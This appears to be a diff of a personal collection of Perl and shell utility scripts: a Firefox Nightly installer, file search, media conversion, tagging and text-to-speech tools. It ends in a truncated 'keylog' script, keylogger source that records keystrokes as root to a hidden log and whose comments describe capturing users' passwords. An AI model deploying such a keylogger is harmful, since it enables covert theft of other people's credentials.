my $LAUNCHER = "/usr/share/applications/firefox-nightly.desktop";
# Where are the Firefox nightlies kept?
my $NIGHTLY = sprintf("ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/firefox-14.0a1.en-US.linux-%s.tar.bz2", $ARCH);
################################################################################
# End Configuration #
################################################################################
# Base name of tarball.
my $TARBALL = basename($NIGHTLY);
# Mozilla plugins lib.
my $PLUGINS = "/usr/lib" . ($ARCH eq 'x86_64' ? '64' : '') . "/mozilla/plugins";
# Check for required tools.
my %t = check_required();
unless (@ARGV && $ARGV[0] eq '--force') {
say "Make sure you close Firefox before continuing.";
print "Is Firefox closed now? [yN] ";
chomp(my $ans = <STDIN>);
exit(0) unless $ans =~ /^y/;
}
# Needs to be root.
if ($EFFECTIVE_USER_ID != 0) {
say "You need to run this script as root.";
exec($t{sudo}, $0, '--force');
exit(1);
}
# Make a temp folder for it.
my $tmp = "/tmp/firefox-nightly-$$-" . time();
run("mkdir -p $tmp");
# Fetch Firefox Nightly.
chdir($tmp);
run("wget $NIGHTLY");
run("tar -xjvf $TARBALL");
# Move it to the destination.
run("rm -rf $INSTALL") if -d $INSTALL;
if (!-d $INSTALL) {
run("mkdir -p $INSTALL");
}
run("mv firefox/* $INSTALL/");
# Make the symlink.
if (-e $BIN) {
run("rm -f $BIN");
}
# Make the launcher.
open (my $launch, ">", $LAUNCHER);
print {$launch} <<"EOF";
[Desktop Entry]
Version=1.0
Name=Firefox Nightly
GenericName=Web Browser
Comment=Browse the Web
Exec=firefox-nightly %u
Icon=$INSTALL/icons/mozicon128.png
Terminal=false
Type=Application
StartupWMClass=Firefox-bin
MimeType=text/html;text/xml;application/xhtml+xml;application/vnd.mozilla.xul+xml;text/mml;x-scheme-handler/http;x-scheme-handler/https;
StartupNotify=true
Categories=Network;WebBrowser;
EOF
close ($launch);
# Link the binary.
run("ln -s $INSTALL/firefox $BIN");
# Flash plugins etc!
if (-d "$INSTALL/plugins") {
run("rm -rf $INSTALL/plugins");
}
run("ln -s $PLUGINS $INSTALL/plugins");
# Cleanup.
run("rm -rf $tmp");
say "You have updated to the latest Firefox Nightly. The binary is installed";
say "to: $BIN";
exit(0);
sub run {
my $cmd = shift;
say "\$ $cmd";
system($cmd);
}
sub check_required {
my @tools = qw(sudo wget tar);
my %paths = ();
foreach my $tool (@tools) {
chomp(my $path = `which $tool`);
if ($? == 0) {
$paths{$tool} = $path;
}
else {
say "This script requires `$tool`, which wasn't found in your \$PATH.";
exit(1);
}
}
return %paths;
}

71
home/bin/findtxt

@ -0,0 +1,71 @@
#!/usr/bin/perl -w
# findtxt - Recursively scan a directory looking for a string inside every file
# inside. It's like a simple grep except it scans directories and all files.
#
# Usage: findtxt <strings to find> [directory]
use strict;
use warnings;
if (not scalar(@ARGV)) {
print "Usage: findtxt <strings to find> [directory]\n"
. "Example: findtxt \"hello world\" /home\n"
. " findtxt perl cgi /usr/lib\n";
exit(0);
}
my $base = `pwd`;
if (-d $ARGV[-1]) {
$base = pop(@ARGV);
}
$base = '' if $base eq '/';
print "Scanning... please wait...\n";
our $hits = 0;
my @files = &scanDir($base);
print "\n\nResults:\n"
. join ("\n",@files)
. "\n";
sub scanDir {
my $dir = shift;
my @files = ();
print "[$hits] Scan $dir/\n";
opendir (DIR, "$dir/") || warn "Can't read $dir: $!\n";
foreach my $file (readdir(DIR)) {
next if $file eq '.';
next if $file eq '..';
next if -l "$dir/$file"; # skip symlinks
if (-d "$dir/$file") {
next if ("$dir/$file") =~ /\/dev/i;
push (@files, &scanDir("$dir/$file"));
}
elsif (-f "$dir/$file") {
# read this file.
open (FILE, "$dir/$file") || do {
warn "Can't read $dir/$file: $!\n";
next;
};
while (<FILE>) {
foreach my $str (@ARGV) {
if ($_ =~ /$str/i) {
push (@files,"$dir/$file");
$hits++;
last;
}
}
}
}
select (undef,undef,undef,0.001);
}
closedir (DIR);
return @files;
}

49
home/bin/flashget

@ -0,0 +1,49 @@
#!/usr/bin/perl -w
# flashget - Download Flash videos from any hosting site.
# Usage: flashget
# Author: Kirsle
# http://sh.kirsle.net/
# This script doesn't care what your flash player is called. It just looks for
# any process that owns a /tmp/Flash####### file and copies it.
use strict;
use warnings;
use File::Copy;
my $home = defined $ENV{HOME} ? $ENV{HOME} : ".";
print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
. "you FULLY BUFFER the video first in your web browser.\n\n";
my $count = 0;
opendir (my $proc, "/proc");
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
# Skip PID's we can't read from.
next unless -r "/proc/$pid/fd";
# Look for flash videos.
my @fd = `ls -l /proc/$pid/fd`;
foreach my $line (@fd) {
chomp $line;
$line =~ s/[\x0D\x0A]//g;
next unless length $line;
my @parts = split(/\s+/, $line);
my $file = $parts[-2];
my $id = $parts[-4];
# Looks like Flash?
if ($file =~ m{^/tmp/(Flash.*?)$}) {
# Copy it.
my $dest = "$home/$1.flv";
print "Recover from PID $pid: $id -> $dest\n";
copy("/proc/$pid/fd/$id", $dest) or print "ERR: Couldn't copy to $dest: $@\n";
$count++;
}
}
}
closedir ($proc);
print "\nRecovered $count Flash video(s).\n";

43
home/bin/flatten-linked

@ -0,0 +1,43 @@
#!/usr/bin/perl -w
# flatten-linked - Create symlinks to every file in a directory, recursively,
# creating the links in the current working directory.
#
# If you have iTunes or similar managing your music and it organizes them in a
# large folder structure (Band Name/Album Name/Song Name.mp3) you can run this
# script on your iTunes folder and it will create links to every file in the
# current folder. So you'll end up with a single folder "containing" all your
# songs, when really they're all links to their real locations.
#
# But with this you can import your iTunes collection into XMMS or another
# primitive media player very easily, by only importing one folder - the one
# full of links.
#
# --Kirsle
# http://sh.kirsle.net/
unless (@ARGV) {
print "Usage: flatten-linked <directory>\n"
. "Creates symlinks to all files in current directory\n";
exit(1);
}
foreach (@ARGV) {
&crawl($_);
}
closedir (DIR);
sub crawl {
my $dir = shift;
print "Crawling into directory $dir";
opendir (DIR, $dir) or die "Can't open dir $dir: $!";
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&crawl("$dir/$file");
}
elsif (-f "$dir/$file") {
print "Linking $dir/$file as ./$file\n";
system("ln", "-s", "$dir/$file", "./$file");
}
}
}

41
home/bin/flv2avi

@ -0,0 +1,41 @@
#!/bin/sh
# flv2avi - Convert FLV video to AVI (divx or xvid codec).
#
# This script was not written by Kirsle, it was found on the net somewhere.
#
# Usage: flv2avi [-divx|-xvid] list_of_flv_files
#
# --Kirsle
# http://sh.kirsle.net/
if [ -z "$1" ]; then
echo "Usage: $0 {-divx|-xvid} list_of_flv_files"
exit 1
fi
# video encoding bit rate
V_BITRATE=1000
while [ "$1" ]; do
case "$1" in
-divx)
MENC_OPTS="-ovc lavc -lavcopts \
vcodec=mpeg4:vbitrate=$V_BITRATE:mbd=2:v4mv:autoaspect"
;;
-xvid)
MENC_OPTS="-ovc xvid -xvidencopts bitrate=$V_BITRATE:autoaspect"
;;
*)
if file "$1" | grep -q "Macromedia Flash Video"; then
mencoder "$1" $MENC_OPTS -vf pp=lb -oac mp3lame \
-lameopts fast:preset=standard -o \
"`basename $1 .flv`.avi"
else
echo "$1 is not Flash Video. Skipping"
fi
;;
esac
shift
done

27
home/bin/gsay

@ -0,0 +1,27 @@
#!/usr/bin/perl
# gsay - Text to Speech using Google
# Usage: gsay <message>
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use URI::Escape;
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
die "Usage: $0 <message>\n";
}
my $message = uri_escape(join(" ", @ARGV));
# Check for mplayer.
chomp(my $mplayer = `which mplayer 2>/dev/null`);
if ($? || !$mplayer) {
die "Couldn't find `mplayer` - please install it!\n";
}
# Fork a background process to speak and exit immediately.
exit if fork();
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");

25
home/bin/gsync

@ -0,0 +1,25 @@
#!/usr/bin/perl -w
# gsync - Graphically run the `sync` command to flush the write buffers to
# flash drives and things in Linux.
#
# If you want to make sure data is written to a flash drive without having to
# unmount it, sync is the command to run. This just adds libnotify popups
# about it.
use strict;
use warnings;
# Icon to use
my $icon = "/usr/share/icons/gnome/32x32/actions/stock_refresh.png";
# Start
system("notify-send",
"--icon" => $icon,
"Syncing removable media...");
my $now = time();
system("sync");
my $elapsed = time() - $now;
system("notify-send",
"--icon" => $icon,
"Sync completed in $elapsed second" . ($elapsed == 1 ? '' : 's') . "!");

69
home/bin/id-codec

@ -0,0 +1,69 @@
#!/usr/bin/perl
# id-codec: Identify the codec used in a video file.
#
# Usage: id-codec *.avi
#
# Requires mplayer.
#
# --Kirsle
# http://sh.kirsle.net/
use 5.16.0;
use strict;
use warnings;
use Getopt::Long;
use Term::ANSIColor;
my $help;
my $color = 1;
GetOptions(
'color!' => \$color,
'help|h|?' => \$help,
);
if ($help) {
die "Usage: id-codec [--nocolor] <video files>\n"
. "Use --nocolor to suppress ANSI color codes.\n";
}
my $mplayer;
unless (chomp($mplayer = `which mplayer 2>/dev/null`)) {
die "This requires mplayer to be installed.\n";
}
foreach my $file (@ARGV) {
green("$file: ");
my $cmd = qq{$mplayer -frames 0 -vo null -ao null -identify "$file" 2>/dev/null | grep "Selected video codec"};
chomp(my $result = `$cmd` || "(unidentifiable)");
$result =~ s/^Selected video codec:\s+//g;
yellow("$result\n");
}
sub green {
my $text = shift;
if ($color) {
print color 'bright_green';
}
print $text;
if ($color) {
print color 'reset';
}
}
sub yellow {
my $text = shift;
if ($color) {
print color 'bright_yellow';
}
print $text;
if ($color) {
print color 'reset';
}
}

54
home/bin/id3set

@ -0,0 +1,54 @@
#!/usr/bin/perl -w
# id3set - Stupid simple way to set IDv3 tags on an MP3.
#
# Usage: id3set "Band Name - Song" song.mp3
#
# This script just sets artist and song title info. It's useful for MP3s that
# completely lack this information.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use MP3::Info;
if (scalar(@ARGV) == 0 || scalar(@ARGV) > 2) {
die "Usage: $0 <Band Name - Title> file.mp3";
}
my $info;
my $file;
if (scalar(@ARGV) == 1) {
# Only a file given.
if ($ARGV[0] =~ /^(.+? - .+?)\.mp3$/i) {
# Good enough!
$info = $1;
$file = shift;
}
}
else {
$info = shift;
$file = shift;
}
if (!-f $file) {
die "$file: file not found.";
}
my ($band, $song) = $info =~ /^(.+?) - (.+?)$/;
$band = trim($band);
$song = trim($song);
print "Artist: $band\n";
print " Title: $song\n";
MP3::Info::set_mp3tag($file, $song, $band);
sub trim {
$_ = shift;
s/^\s+//g;
s/\s+$//g;
return $_;
}

35
home/bin/iphone-ringtone

@ -0,0 +1,35 @@
#!/usr/bin/perl -w
# iphone-ringtone: convert MP3 tracks into M4R audio files for
# iPhone ringtones.
#
# Requires: mplayer, faac
#
# --Kirsle
# http://sh.kirsle.net/
# Get args.
scalar(@ARGV) or die "Usage: iphone-ringtone <track.mp3>";
my $mp3 = shift(@ARGV);
# Turn the mp3 name into an m4r name.
my $m4r = $mp3;
$m4r =~ s/\.mp3$/.m4r/i;
$m4r .= ".m4r" unless $m4r =~ /\.m4r$/i;
# Turn the m4r name into an m4a name (this is the name that
# faac will produce when run).
my $m4a = $m4r;
$m4a =~ s/\.m4r$/.m4a/i;
# Turn the m4r name into a .wav for mplayer.
my $wav = $m4r;
$wav =~ s/\.m4r$/.wav/i;
# Run the commands.
system("mplayer -vo null -vc null -ao pcm:fast:file=$wav $mp3");
system("faac -b 128 -c 44100 -w $wav");
rename($m4a,$m4r);
unlink($wav);
print "Done. Now scp the file to /Library/Ringtones/ on your iPhone.\n";

23
home/bin/json-pretty

@ -0,0 +1,23 @@
#!/usr/bin/perl
# json-pretty: Take a JSON file and pretty-print it.
#
# Usage: json-pretty <file.json>
#
# --Kirsle
use strict;
use warnings;
use JSON;
my $file = shift(@ARGV) or die "Usage: $0 <file.json>\n";
my $json = JSON->new->utf8->pretty();
local $/ = undef;
open(my $fh, "<", $file);
my $text = <$fh>;
close($fh);
my $data = $json->decode($text);
print $json->encode($data);

370
home/bin/keylog

@ -0,0 +1,370 @@
#!/usr/bin/perl -w
use strict;
use warnings;
use threads;
use threads::shared;
# keylog - A simple key logger.
# Usage: keylog <path-to-device-node>
# Example: keylog /dev/input/event0
#
# The user you run this as should have read access to the device node. Most of
# the time, this means you'll need to run this as root.
#
# To find out which device node your keyboard is using, run the command
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
# in this case the input device is /dev/input/event4. Update this for any
# other event number that you see instead.
#
# This program prints ALL key events to the terminal (including the key up/down
# events for all keys). This information probably isn't directly useful to you,
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
# it logs are probably the most useful to you; if the user hits the backspace
# key, the last key they typed is deleted, etc.. so if a user is typing their
# password and makes a typo and finishes typing, you'll get their full password.
#
# The buffer used for this is saved after 2 seconds of idle time in their typing,
# or when a "separator key" is entered (a separator key is: Enter, Return, or
# Tab). Each buffer is saved to its own line in the log file. If the user is a
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
# figure this out yourself.
#
# This is just a proof of concept and should be used for educational purposes
# only.
#
# --Kirsle
# http://sh.kirsle.net/
# Modify the die handler so we can exit on error messages
# more gracefully.
$SIG{__DIE__} = sub {
my $err = shift;
$err =~ s/ at .+ line .+\.//g;
print $err;
exit(1);
};
# Get the device node from command line.
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
my $DEV = $ARGV[0];
# Must run this as root, or be able to read from the device.
if (!-r $DEV) {
die "Can't read from $DEV; got root?";
}
# Hash to keep track of modifier keys.
our $mod = {
shift => 0,
alt => 0,
ctrl => 0,
};
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
# in the log file. The backspace key deletes text in the buffer, etc. This way
# you can see basically what they typed, without having to parse through the
# key up/down events yourself.
my $buffer : shared;
my $lastkey : shared; # Holds the time() of the last key event seen.
my $writenow : shared; # The key parser can force the buffer to write now.
$buffer = '';
$lastkey = 0;
$writeno